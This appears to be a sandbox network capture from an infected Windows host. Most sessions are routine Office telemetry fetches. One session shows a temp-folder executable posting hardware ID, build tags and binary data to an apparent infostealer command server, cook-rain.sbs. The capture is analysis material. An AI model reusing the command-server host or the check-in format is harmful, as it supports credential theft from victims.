2024-11-18 20:04:21 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:21 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:21 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:21 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 244cb6a9-901e-0048-0390-38b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200421Z-1866b5c5fbbqmbqjhC1DFWwgvc00000005s000000000se8r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:21 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:21 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:21 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:21 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 0813723c-b01e-0053-673f-38cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200421Z-164f84587bf6h2bxhC1DFWbcm800000006h0000000009kpu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:21 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:21 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:21 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:21 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 769defec-e01e-0085-6a89-38c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200421Z-164f84587bfsqsthhC1DFWh63000000005a000000000ry5c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:21 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:21 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:21 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:21 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 7df85bc9-601e-000d-7a26-372618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200421Z-164f84587bflm48hhC1DFW0nf800000002zg00000000pwzg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:21 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	49854	188.114.96.3	443	7128	C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:21 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=WKRV08U4T User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20389 Host: cook-rain.sbs
2024-11-18 20:04:21 UTC	15331	OUT	Data Raw: 2d 2d 57 4b 52 56 30 38 55 34 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 42 41 41 30 35 34 34 41 37 34 44 35 45 32 42 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 57 4b 52 56 30 38 55 34 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 57 4b 52 56 30 38 55 34 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 57 4b 52 56 30 38 55 34 54 0d 0a 43 6f 6e 74 65 6e Data Ascii: --WKRV08U4TContent-Disposition: form-data; name="hwid"5BAA0544A74D5E2B63CFCF7E6C45F838--WKRV08U4TContent-Disposition: form-data; name="pid"3--WKRV08U4TContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--WKRV08U4TConten
2024-11-18 20:04:21 UTC	5058	OUT	Data Raw: 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9b dc 40 f0 eb b1 64 f0 52 Data Ascii: lrQMn 64F6(X&7~`aO@dR
2024-11-18 20:04:22 UTC	981	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4hitvpif82mna39en2lh9h65fl; expires=Fri, 14-Mar-2025 13:51:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nWLjPrhMUQ0gjR6u4bqH3U4sZdzw3CRsum%2F6liQPxZLZXydkmIyospOlouG%2FJ6rgzslTSlwBizZs4zjc87c4P2sZpIoQqtI62FyEfc6MaKReDP3b6JhXp0cmi56iuxfe"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e4a91b46970e659-DEN alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=22785&sent=11&recv=27&lost=0&retrans=0&sent_bytes=2828&recv_bytes=21339&delivery_rate=124859&cwnd=32&unsent_bytes=0&cid=d5eb9f56a3ab714e&ts=771&x=0"
2024-11-18 20:04:22 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 37 0d 0a Data Ascii: 11ok 155.94.241.187
2024-11-18 20:04:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:21 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:22 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:21 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 56128767-e01e-0071-6e9b-3808e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200421Z-16547b76f7ff9zf4hC1DFW2pfc00000003wg00000000c8gx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:22 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:21 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:22 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:21 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: e3d9936e-401e-0083-0609-37075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200421Z-16547b76f7fwm7vghC1DFW900s00000003tg00000000t4zu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:22 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:21 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:22 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:21 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: e3d993a2-401e-0083-2409-37075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200421Z-16547b76f7fl5zvnhC1DFWtk9g00000004qg00000000ekc9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:22 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:21 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:22 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:21 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: e00571ae-f01e-0052-6cd2-379224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200421Z-16547b76f7fwcwmrhC1DFWtp04000000026g000000008qcg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:22 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:22 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:22 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:22 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 57eb6011-f01e-003f-70b3-39d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200422Z-16547b76f7fjx5nrhC1DFW4dsc00000003fg00000000b80g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 20:04:22 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:22 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
